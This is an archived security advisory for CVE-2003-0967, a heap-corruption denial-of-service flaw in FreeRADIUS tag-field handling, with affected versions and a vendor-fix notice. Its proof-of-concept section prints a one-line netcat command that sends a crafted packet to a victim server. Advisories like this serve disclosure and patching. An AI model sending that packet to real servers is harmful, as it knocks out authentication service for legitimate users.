FreeRADIUS Tag Field Heap Corruption Vulnerability

BID:9079

Info

FreeRADIUS Tag Field Heap Corruption Vulnerability

Bugtraq ID: 9079
Class: Input Validation Error
CVE: CVE-2003-0967
Remote: Yes
Local: No
Published: Nov 20 2003 12:00AM
Updated: Sep 10 2009 08:41PM
Credit: Discovery credited to Evgeny Legerov.
Vulnerable: Redhat Enterprise Linux WS 5
Redhat Enterprise Linux ES 3
Redhat Enterprise Linux Desktop 5 client
Redhat Enterprise Linux AS 3
Redhat Enterprise Linux 5 server
FreeRADIUS FreeRADIUS 1.1.7
FreeRADIUS FreeRADIUS 1.1.6
FreeRADIUS FreeRADIUS 1.1.5
FreeRADIUS FreeRADIUS 1.1.4
FreeRADIUS FreeRADIUS 1.1.3
FreeRADIUS FreeRADIUS 0.9.2
FreeRADIUS FreeRADIUS 0.9.1
FreeRADIUS FreeRADIUS 0.9
FreeRADIUS FreeRADIUS 0.8.1
FreeRADIUS FreeRADIUS 0.8
FreeRADIUS FreeRADIUS 0.5
FreeRADIUS FreeRADIUS 0.4
FreeRADIUS FreeRADIUS 0.3
FreeRADIUS FreeRADIUS 0.3
FreeRADIUS FreeRADIUS 0.2
Not Vulnerable: FreeRADIUS FreeRADIUS 1.1.8
FreeRADIUS FreeRADIUS 0.9.3

Discussion

FreeRADIUS Tag Field Heap Corruption Vulnerability

FreeRADIUS is prone to a heap-corruption vulnerability when handling of tag-field input. An attacker may be able to exploit this issue to deny service to legitimate users of a vulnerable FreeRADIUS server.

This issue was initially reported as a vulnerability in how the software handles 'Tunnel-Password' attribute in Access-Request packets, but the issue turns out to have wider scope, affecting tag-field input in general.

This vulnerability affects FreeRADIUS 0.4.0 through 0.9.2.

UPDATE (September 9, 2009): This issue was fixed in 2003 but reintroduced later. FreeRADIUS 1.1.3 through 1.1.7 are also vulnerable.

Exploit / POC

FreeRADIUS Tag Field Heap Corruption Vulnerability

Attackers may exploit this issue using readily available commands.

The following example command is available:

bash-2.05$ echo -ne "\x01\x01\x00\x16\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x45\x02" | nc -vu -w1 <victim> <port>

Solution / Fix

FreeRADIUS Tag Field Heap Corruption Vulnerability

Solution:
The vendor has released updates. Please see the references for details.


FreeRADIUS FreeRADIUS 0.2

FreeRADIUS FreeRADIUS 0.3

FreeRADIUS FreeRADIUS 0.3

FreeRADIUS FreeRADIUS 0.4

FreeRADIUS FreeRADIUS 0.5

FreeRADIUS FreeRADIUS 0.8

FreeRADIUS FreeRADIUS 0.8.1

FreeRADIUS FreeRADIUS 0.9

FreeRADIUS FreeRADIUS 0.9.1

FreeRADIUS FreeRADIUS 0.9.2

FreeRADIUS FreeRADIUS 1.1.3

FreeRADIUS FreeRADIUS 1.1.4

FreeRADIUS FreeRADIUS 1.1.5

FreeRADIUS FreeRADIUS 1.1.6

FreeRADIUS FreeRADIUS 1.1.7

References

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